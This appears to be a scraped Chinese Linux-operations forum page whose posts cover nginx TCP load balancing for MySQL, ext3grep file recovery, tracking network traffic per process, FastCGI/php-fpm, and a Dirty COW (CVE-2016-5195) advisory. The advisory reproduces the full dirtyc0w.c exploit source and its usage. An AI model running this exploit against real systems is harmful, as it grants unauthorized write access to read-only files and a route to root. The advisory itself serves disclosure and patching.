Nginx负载均衡MYSQL数据库

being 发表了文章 • 0 个评论 • 233 次浏览 • 2016-11-09 14:16 • 来自相关话题

默认Nginx只支持http的反向代理,要想nginx支持tcp的反向代理,还需要在编译时增加tcp代理模块支持,即nginx_tcp_proxy_module,具体实现如下。
 

一、编译安装

添加nginx支持tcp_proxy模块,如需其他功能自动编译其他模块,例如:prce、gzip、ssl等功能。
cd /usr/local/src/
wget "https://github.com/yaoweibin/nginx_tcp_proxy_module/archive/master.zip"
mkdir -pv /data/ModulePlugin && unzip master.zip -d /data/ModulePlugin/
wget 'http://nginx.org/download/nginx-1.2.1.tar.gz'
tar -xzvf nginx-1.2.1.tar.gz
cd nginx-1.2.1/
patch -p1 < /data/ModulePlugin/nginx_tcp_proxy_module-master/tcp.patch
./configure --prefix=/usr/local/nginx --add-module=/data/ModulePlugin/nginx_tcp_proxy_module-master/ --with-http_stub_status_module --with-http_gzip_static_module
make
make install

 
 

二、添加配置

1、在主配置文件nginx.conf 中include 加载目录
user nobody;
worker_processes 4;

error_log logs/error.log info;

pid logs/nginx.pid;


events {
worker_connections 2048;
}

include /usr/local/nginx/conf/vhost/*.conf;

http {
include mime.types;
default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log logs/access.log main;

sendfile on;
#tcp_nopush on;

keepalive_timeout 65;
#gzip on;

server {
listen 3306;
server_name udb.com;

#charset utf-8;

location / {
root html;
index index.html index.htm;
}

location /nginx_status {
stub_status on;
access_log logs/nginx_status.log;
allow 10.0.1.136;
deny all;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}

}

}/usr/local/nginx/conf/vhost/proxy_mysql.conf 内容如下:
tcp {
upstream mysqldb {
server 10.0.1.138:3306;
server 10.0.1.139:3306;

check interval=3000 rise=2 fall=5 timeout=1000;
#check interval=3000 rise=2 fall=5 timeout=1000
#check interval=3000 rise=2 fall=5 timeout=1000
#check_http_send "GET /HTTP/1.0\r\n\r\n";
#check_http_expect_alive http_2xxhttp_3xx;
}

server {
listen 3307;
proxy_pass mysqldb;
}
}参数说明:
check interval 健康检查,单位是毫秒
rise 检查几次正常后,将reslserver加入以负载列表中
fall 检查几次失败后,摘除realserver
timeout 检查超时时间,单位许毫秒
具体可查看nginx_tcp_proxy_module-master/README,也可以查看:https://github.com/yaoweibin/nginx_tcp_proxy_module 。 查看全部
Nginx_Proxy_Mysql.png

默认Nginx只支持http的反向代理,要想nginx支持tcp的反向代理,还需要在编译时增加tcp代理模块支持,即nginx_tcp_proxy_module,具体实现如下。
 


一、编译安装


添加nginx支持tcp_proxy模块,如需其他功能自动编译其他模块,例如:prce、gzip、ssl等功能。
cd /usr/local/src/
wget "https://github.com/yaoweibin/nginx_tcp_proxy_module/archive/master.zip"
mkdir -pv /data/ModulePlugin && unzip master.zip -d /data/ModulePlugin/
wget 'http://nginx.org/download/nginx-1.2.1.tar.gz'
tar -xzvf nginx-1.2.1.tar.gz
cd nginx-1.2.1/
patch -p1 < /data/ModulePlugin/nginx_tcp_proxy_module-master/tcp.patch
./configure --prefix=/usr/local/nginx --add-module=/data/ModulePlugin/nginx_tcp_proxy_module-master/ --with-http_stub_status_module --with-http_gzip_static_module
make
make install

 
 


二、添加配置


1、在主配置文件nginx.conf 中include 加载目录
user  nobody;
worker_processes 4;

error_log logs/error.log info;

pid logs/nginx.pid;


events {
worker_connections 2048;
}

include /usr/local/nginx/conf/vhost/*.conf;

http {
include mime.types;
default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log logs/access.log main;

sendfile on;
#tcp_nopush on;

keepalive_timeout 65;
#gzip on;

server {
listen 3306;
server_name udb.com;

#charset utf-8;

location / {
root html;
index index.html index.htm;
}

location /nginx_status {
stub_status on;
access_log logs/nginx_status.log;
allow 10.0.1.136;
deny all;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}

}

}
/usr/local/nginx/conf/vhost/proxy_mysql.conf 内容如下:
tcp {
upstream mysqldb {
server 10.0.1.138:3306;
server 10.0.1.139:3306;

check interval=3000 rise=2 fall=5 timeout=1000;
#check interval=3000 rise=2 fall=5 timeout=1000
#check interval=3000 rise=2 fall=5 timeout=1000
#check_http_send "GET /HTTP/1.0\r\n\r\n";
#check_http_expect_alive http_2xxhttp_3xx;
}

server {
listen 3307;
proxy_pass mysqldb;
}
}
参数说明:
check interval 健康检查,单位是毫秒
rise 检查几次正常后,将reslserver加入以负载列表中
fall 检查几次失败后,摘除realserver
timeout 检查超时时间,单位许毫秒
具体可查看nginx_tcp_proxy_module-master/README,也可以查看:https://github.com/yaoweibin/nginx_tcp_proxy_module

Linux恢复删除文件神器「ext3grep」

chris 发表了文章 • 0 个评论 • 177 次浏览 • 2016-11-08 00:55 • 来自相关话题

有时候我们经常会不小心误删除Linux下的文件,那有什么办法可以恢复呢?删除文件后有点担心不能恢复,现在不用怕了,有这个工具就可以了,很好用的。
 

一、下载工具

# cd /usr/local/src
# wget http://ext3grep.googlecode.com/files/ext3grep-0.6.0.tar.gz

二、安装

1、检查安装依赖包
先检查下这三个包是否已经安装,没有的话先安装下,检查有没有安装gcc  c++工具是否安装
# rpm -qa |grep e2fs
e2fsprogs-devel-1.39-23.el5
e2fsprogs-libs-1.39-23.el5
e2fsprogs-1.39-23.el5

# yum install c++* -y# cd /usr/local/src
# tar xzvf ext3grep-0.6.0.tar.gz
# cd ext3grep-0.6.0
# ./configure && make && make install

三、测试

编译安装完成后就可以使用这个工具了# ext3grep -v
Running ext3grep version 0.6.0
ext3grep v0.10.1, Copyright (C) 2008 Carlo Wood.
ext3grep comes with ABSOLUTELY NO WARRANTY;
This program is free software; your freedom to use, change
and distribute this program is protected by the GPL.下面测试下恢复效果
# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 47G 2.3G 43G 6% /
/dev/sda3 487M 11M 451M 3% /home
/dev/sda1 190M 12M 169M 7% /boot
/dev/sdb9 100G 0 100G 0% /mnt使用/dev/sdb9来做测试
# cd /mnt
# cp /etc/dhcp6c.conf .
# cp -r /etc/yum.repos.d .
# ll
total 14
-rw-r--r-- 1 root root 178 Jan 22 23:58 dhcp6c.conf
drwx------ 2 root root 12288 Jan 22 22:52 lost+found
drw-r--r-- 1 root root 346 Jan 22 23:59 yum.repos.d
# rm -rf *
# ls
#
* 现在将 /mnt下的东西都删掉了进行恢复
1、执行这条命令查看删除的所有文件
# ext3grep /dev/sdb9 --ls --inode 22、恢复单个文件
# ext3grep /dev/sdb9 --restore-file dhcp6c.conf
Running ext3grep version 0.6.0
Number of groups: 13
Minimum / maximum journal block: 526 / 4640
Loading journal descriptors... sorting... done
N umber of descriptors in journal: 828; min / max sequence numbers: 2 / 4
Loading sdb9.ext3grep.stage2.... done
Restoring dhcp6c.conf3、恢复的文件放在RESTORED_FILES目录
# cd RESTORED_FILES/
# ls
dhcp6c.conf4、恢复所有文件
# ext3grep /dev/sdb9 --restore-all编辑恢复的文件[root@test RESTORED_FILES]# vi dhcp6c.conf
#
# See dhcp6c.conf(5) man page for details.
#
#interface eth0 {
# #information-only;
# send rapid-commit;
# request prefix-delegation;
# #request temp-address;
#}; 查看全部
有时候我们经常会不小心误删除Linux下的文件,那有什么办法可以恢复呢?删除文件后有点担心不能恢复,现在不用怕了,有这个工具就可以了,很好用的。
 


一、下载工具


# cd /usr/local/src
# wget http://ext3grep.googlecode.com/files/ext3grep-0.6.0.tar.gz


二、安装


1、检查安装依赖包
先检查下这三个包是否已经安装,没有的话先安装下,检查有没有安装gcc  c++工具是否安装
# rpm -qa |grep e2fs
e2fsprogs-devel-1.39-23.el5
e2fsprogs-libs-1.39-23.el5
e2fsprogs-1.39-23.el5

# yum install c++* -y
# cd /usr/local/src
# tar xzvf ext3grep-0.6.0.tar.gz
# cd ext3grep-0.6.0
# ./configure && make && make install


三、测试


编译安装完成后就可以使用这个工具了
# ext3grep -v
Running ext3grep version 0.6.0
ext3grep v0.10.1, Copyright (C) 2008 Carlo Wood.
ext3grep comes with ABSOLUTELY NO WARRANTY;
This program is free software; your freedom to use, change
and distribute this program is protected by the GPL.
下面测试下恢复效果
# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 47G 2.3G 43G 6% /
/dev/sda3 487M 11M 451M 3% /home
/dev/sda1 190M 12M 169M 7% /boot
/dev/sdb9 100G 0 100G 0% /mnt
使用/dev/sdb9来做测试
# cd /mnt
# cp /etc/dhcp6c.conf .
# cp -r /etc/yum.repos.d .
# ll
total 14
-rw-r--r-- 1 root root 178 Jan 22 23:58 dhcp6c.conf
drwx------ 2 root root 12288 Jan 22 22:52 lost+found
drw-r--r-- 1 root root 346 Jan 22 23:59 yum.repos.d
# rm -rf *
# ls
#
* 现在将 /mnt下的东西都删掉了
进行恢复
1、执行这条命令查看删除的所有文件
# ext3grep /dev/sdb9 --ls --inode 2
2、恢复单个文件
# ext3grep /dev/sdb9 --restore-file dhcp6c.conf
Running ext3grep version 0.6.0
Number of groups: 13
Minimum / maximum journal block: 526 / 4640
Loading journal descriptors... sorting... done
N umber of descriptors in journal: 828; min / max sequence numbers: 2 / 4
Loading sdb9.ext3grep.stage2.... done
Restoring dhcp6c.conf
3、恢复的文件放在RESTORED_FILES目录
# cd RESTORED_FILES/
# ls
dhcp6c.conf
4、恢复所有文件
# ext3grep /dev/sdb9 --restore-all
编辑恢复的文件
[root@test RESTORED_FILES]# vi dhcp6c.conf
#
# See dhcp6c.conf(5) man page for details.
#
#interface eth0 {
# #information-only;
# send rapid-commit;
# request prefix-delegation;
# #request temp-address;
#};

TCP: time wait bucket table overflow

采菊篱下 回复了问题 • 2 人关注 • 1 个回复 • 211 次浏览 • 2016-11-03 21:40 • 来自相关话题

Linux下定位使用流量最大的进程

chris 发表了文章 • 0 个评论 • 243 次浏览 • 2016-10-28 12:01 • 来自相关话题

在工作中经常会遇到服务器流量较高的情况,如果服务器跑着较多的应用,这时候我们就需要定位找到使用流量较大的程序,然后在具体作分析。

使用iftop -P 定位哪个进程的流量比较大

通常定位进程流量的可以用到iptraf,nethogs、iftop等,iptraf可以参考:http://linuxperf.com/?p=11​ , nethogs可以参考:http://man.linuxde.net/nethogs​  ,下面我介绍iftop查看过程,iftop -P结果如下:




从上图可以看出40613占用流量是最大的,接下来我们根据端口号,来确定程序的PID。

根据端口定位程序PID

# lsof -i:40613 或者 netstat -atunp |grep 40613



确认了PID为16276,下一步根据PID确定是哪个进程。

定位进程

根据进程PID确定进程的名称# cat /proc/16276/cmdline然后可以看到具体运行的程序,最后就可以分析为什么这个程序这么消耗流量了。 查看全部
在工作中经常会遇到服务器流量较高的情况,如果服务器跑着较多的应用,这时候我们就需要定位找到使用流量较大的程序,然后在具体作分析。


使用iftop -P 定位哪个进程的流量比较大


通常定位进程流量的可以用到iptraf,nethogs、iftop等,iptraf可以参考:http://linuxperf.com/?p=11​ , nethogs可以参考:http://man.linuxde.net/nethogs​  ,下面我介绍iftop查看过程,iftop -P结果如下:
iftop.png

从上图可以看出40613占用流量是最大的,接下来我们根据端口号,来确定程序的PID。


根据端口定位程序PID


# lsof -i:40613   或者   netstat -atunp |grep 40613
pid.png

确认了PID为16276,下一步根据PID确定是哪个进程。


定位进程


根据进程PID确定进程的名称
# cat /proc/16276/cmdline
然后可以看到具体运行的程序,最后就可以分析为什么这个程序这么消耗流量了。

CVE-2016-5195脏牛漏洞:Linux内核通杀提权漏洞

Geek小A 发表了文章 • 0 个评论 • 336 次浏览 • 2016-10-21 12:17 • 来自相关话题

漏洞描述

漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

为什么这个漏洞叫脏牛(Dirty COW)漏洞?

Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。

漏洞相关细节​

漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。

Linux各发行版本对于该漏洞相关信息

Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html

受影响的范围

这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。

如何修改该漏洞

Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。

如何发现有人利用该漏洞攻击我?

利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。

谁发现的这个漏洞?

Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}
转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/ 查看全部
dirtycow.jpeg


漏洞描述


漏洞编号:CVE-2016-5195

漏洞名称:脏牛(Dirty COW)

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围:Linux内核>=2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


为什么这个漏洞叫脏牛(Dirty COW)漏洞?


Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞。


漏洞相关细节​


漏洞细节:https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根据RedHat公司的报告称:目前已经在野外发现针对这个漏洞的利用技术。但是到目前为止,我们没有更进一步的消息。    https://access.redhat.com/security/vulnerabilities/2706661
Commit messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: Mon Aug 1 11:14:49 2005 -0700
修复get_user_pages()写访问竞争条件:
如果一个更新来自其他线程结束修改页表,handle_mm_fault()将可能结束需要我们重新操作。handle_mm_fault()没有真正的防护一直能够破坏COW。这样看起来是不错的,但是get_user_pages()结束后会重新读,使get_user_pages()一直重写的话,需要dirty bit 设置,最简单的解决竞争条件的办法是,如果COW的break因为某些原因失败,我们能够继续循环继续尝试。
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: Thu Oct 13 20:07:36 2016 GMT
这是一个年代久远的BUG了,我在7年前已经曾经尝试修复过一次了(commit 4ceb5db9757a),但是由于一些问题(commit f33ea7f404e5)又回滚了。这次,我们对pte_dirty()位做了检测。


Linux各发行版本对于该漏洞相关信息


Red Hat:https://access.redhat.com/security/cve/cve-2016-5195 
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195 
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html


受影响的范围


这个漏洞自从内核2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。


如何修改该漏洞


Linux团队正在积极的修复此漏洞,可以通过系统更新到最新发行版修复此漏洞。软件开发人员也可以通过
https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 重新编译Linux修复此漏洞。


如何发现有人利用该漏洞攻击我?


利用这个Bug不会在日志里留下异常信息。但是部分安全社区已经部署蜜罐,如果有攻击者利用此漏洞,将会触发告警。


谁发现的这个漏洞?


Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195 )
对于该漏洞作者甚至申请了独立的:网站、twitter帐号、github帐号、并找专人设计了Logo
作者对此的解释是:我们对建立有品牌的漏洞充满了乐趣,但是也许在这个时间点,这不是一个好主意。但是为了表明我们的立场,我才创建了网站,在线商店,twiiter帐号,以及请专业设计师为这个漏洞设计了LOGO。
 
2016.10.21 9:10更新POC:
POC地址:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg)
{
char *str;
str=(char*)arg;
int i,c=0;
for(i=0;i<100000000;i++)
{
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
c+=madvise(map,100,MADV_DONTNEED);
}
printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg)
{
char *str;
str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
> The in the wild exploit we are aware of doesn't work on Red Hat
> Enterprise Linux 5 and 6 out of the box because on one side of
> the race it writes to /proc/self/mem, but /proc/self/mem is not
> writable on Red Hat Enterprise Linux 5 and 6.
*/
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
lseek(f,map,SEEK_SET);
c+=write(f,str,strlen(str));
}
printf("procselfmem %d\n\n", c);
}


int main(int argc,char *argv)
{
/*
You have to pass two arguments. File and Contents.
*/
if (argc<3)return 1;
pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
f=open(argv[1],O_RDONLY);
fstat(f,&st);
name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping. Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file. It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
pthread_create(&pth1,NULL,madviseThread,argv[1]);
pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
return 0;
}

转载:安全客 , 参考:https://www.grahamcluley.com/dirty-cow-linux-vulnerability-need-know/

OsCache缓存能缓存httl模板页面吗

java蚁族 回复了问题 • 2 人关注 • 2 个回复 • 187 次浏览 • 2016-10-20 16:19 • 来自相关话题

梳理nginx、fastCGI、php-fpm之间的关系

koyo 发表了文章 • 0 个评论 • 250 次浏览 • 2016-10-15 17:17 • 来自相关话题

背景介绍

在Linux下搭建Nginx+Mysql+PHP(LPMN)的时候,nginx.conf中配需要配置fastCGI,php需要安装php-fpm扩展并启动php-fpm守护进程,nginx才可以解析php脚本。那么,这样配置的背后原理是什么?nginx、fastCGI、php-fpm之间又有什么关系呢?一直有这样的疑惑,由于无法理清nginx、php-fpm之间的关系,遇到nginx解析不了php脚本的时候,往往不知所措,花费的问题排查时间也非常长。因此,特地抽时间了解这背后的原理,梳理了一下nginx、fastCGI、php-fpm之间的关系。

什么是fastCGI

fastCGI是由CGI(common gateway interface,通用网关接口)发展而来,是http服务器(nginx、apache)和动态脚本语言(php)之间的通信接口。记住,fastCGI只是一个接口。
 
传统CGI接口方式的主要缺点是性能很差,因为每次HTTP服务器遇到动态程序时都需要重新启动脚本解析器来执行解析,然后结果被返回给HTTP服务器。这在处理高并发访问时,几乎是不可用的。另外传统的CGI接口方式安全性也很差,现在已经很少被使用了。
 
FastCGI接口方式采用C/S结构,可以将HTTP服务器和脚本解析服务器分开,同时在脚本解析服务器上启动一个或者多个脚本解析守护进程。当HTTP服务器每次遇到动态程序时,可以将其直接交付给FastCGI进程来执行,然后将得到的结果返回给浏览器。这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高了整个应用系统的性能。
 

Nginx+FastCGI运行原理

Nginx不支持对外部程序的直接调用或者解析,所有的外部程序(包括PHP)必须通过FastCGI接口来调用。FastCGI接口在Linux下是socket,(这个socket可以是文件socket,也可以是ip socket)。为了调用CGI程序,还需要一个FastCGI的wrapper(wrapper可以理解为用于启动另一个程序的程序),这个wrapper绑定在某个固定socket上,如端口或者文件socket。当Nginx将CGI请求发送给这个socket的时候,通过FastCGI接口,wrapper接纳到请求,然后派生出一个新的线程,这个线程调用解释器或者外部程序处理脚本并读取返回数据;接着,wrapper再将返回的数据通过FastCGI接口,沿着固定的socket传递给Nginx;最后,Nginx将返回的数据发送给客户端,这就是Nginx+FastCGI的整个运作过程。详细的过程,如图1所示。




 

spawn-fcgi与PHP-FPM

前面介绍过,FastCGI接口方式在脚本解析服务器上启动一个或者多个守护进程对动态脚本进行解析,这些进程就是FastCGI进程管理器,或者称之为FastCGI引擎, spawn-fcgi与PHP-FPM就是支持PHP的两个FastCGI进程管理器。
 
下面简单介绍spawn-fcgi与PHP-FPM的异同。
spawn-fcgi是HTTP服务器lighttpd的一部分,目前已经独立成为一个项目,一般与lighttpd配合使用来支持PHP,但是ligttpd的spwan-fcgi在高并发访问的时候,会出现内存泄漏甚至自动重启FastCGI的问题。
 
Nginx是个轻量级的HTTP server,必须借助第三方的FastCGI处理器才可以对PHP进行解析,因此Nginx+spawn-fcgi的组合也可以实现对PHP的解析,这里不过多讲述。

PHP-FPM也是一个第三方的FastCGI进程管理器,它是作为PHP的一个补丁来开发的,在安装的时候也需要和PHP源码一起编译,也就是说PHP-FPM被编译到PHP内核中,因此在处理性能方面更加优秀;同时它在处理高并发方面也比spawn-fcgi引擎好很多,因此,推荐Nginx+PHP/PHP-FPM这个组合对PHP进行解析。

FastCGI 的主要优点是把动态语言和HTTP Server分离开来,所以Nginx与PHP/PHP-FPM经常被部署在不同的服务器上,以分担前端Nginx服务器的压力,使Nginx专一处理静态请求和转发动态请求,而PHP/PHP-FPM服务器专一解析PHP动态请求。
具体更多详解参考:http://ixdba.blog.51cto.com/2895551/806622 查看全部
NginxLogo.jpeg


背景介绍


在Linux下搭建Nginx+Mysql+PHP(LPMN)的时候,nginx.conf中配需要配置fastCGI,php需要安装php-fpm扩展并启动php-fpm守护进程,nginx才可以解析php脚本。那么,这样配置的背后原理是什么?nginx、fastCGI、php-fpm之间又有什么关系呢?一直有这样的疑惑,由于无法理清nginx、php-fpm之间的关系,遇到nginx解析不了php脚本的时候,往往不知所措,花费的问题排查时间也非常长。因此,特地抽时间了解这背后的原理,梳理了一下nginx、fastCGI、php-fpm之间的关系。


什么是fastCGI


fastCGI是由CGI(common gateway interface,通用网关接口)发展而来,是http服务器(nginx、apache)和动态脚本语言(php)之间的通信接口。记住,fastCGI只是一个接口。
 
传统CGI接口方式的主要缺点是性能很差,因为每次HTTP服务器遇到动态程序时都需要重新启动脚本解析器来执行解析,然后结果被返回给HTTP服务器。这在处理高并发访问时,几乎是不可用的。另外传统的CGI接口方式安全性也很差,现在已经很少被使用了。
 
FastCGI接口方式采用C/S结构,可以将HTTP服务器和脚本解析服务器分开,同时在脚本解析服务器上启动一个或者多个脚本解析守护进程。当HTTP服务器每次遇到动态程序时,可以将其直接交付给FastCGI进程来执行,然后将得到的结果返回给浏览器。这种方式可以让HTTP服务器专一地处理静态请求或者将动态脚本服务器的结果返回给客户端,这在很大程度上提高了整个应用系统的性能。
 


Nginx+FastCGI运行原理


Nginx不支持对外部程序的直接调用或者解析,所有的外部程序(包括PHP)必须通过FastCGI接口来调用。FastCGI接口在Linux下是socket,(这个socket可以是文件socket,也可以是ip socket)。为了调用CGI程序,还需要一个FastCGI的wrapper(wrapper可以理解为用于启动另一个程序的程序),这个wrapper绑定在某个固定socket上,如端口或者文件socket。当Nginx将CGI请求发送给这个socket的时候,通过FastCGI接口,wrapper接纳到请求,然后派生出一个新的线程,这个线程调用解释器或者外部程序处理脚本并读取返回数据;接着,wrapper再将返回的数据通过FastCGI接口,沿着固定的socket传递给Nginx;最后,Nginx将返回的数据发送给客户端,这就是Nginx+FastCGI的整个运作过程。详细的过程,如图1所示。
NginxFastcgi.png

 


spawn-fcgi与PHP-FPM


前面介绍过,FastCGI接口方式在脚本解析服务器上启动一个或者多个守护进程对动态脚本进行解析,这些进程就是FastCGI进程管理器,或者称之为FastCGI引擎, spawn-fcgi与PHP-FPM就是支持PHP的两个FastCGI进程管理器。
 
下面简单介绍spawn-fcgi与PHP-FPM的异同。
spawn-fcgi是HTTP服务器lighttpd的一部分,目前已经独立成为一个项目,一般与lighttpd配合使用来支持PHP,但是ligttpd的spwan-fcgi在高并发访问的时候,会出现内存泄漏甚至自动重启FastCGI的问题。
 
Nginx是个轻量级的HTTP server,必须借助第三方的FastCGI处理器才可以对PHP进行解析,因此Nginx+spawn-fcgi的组合也可以实现对PHP的解析,这里不过多讲述。

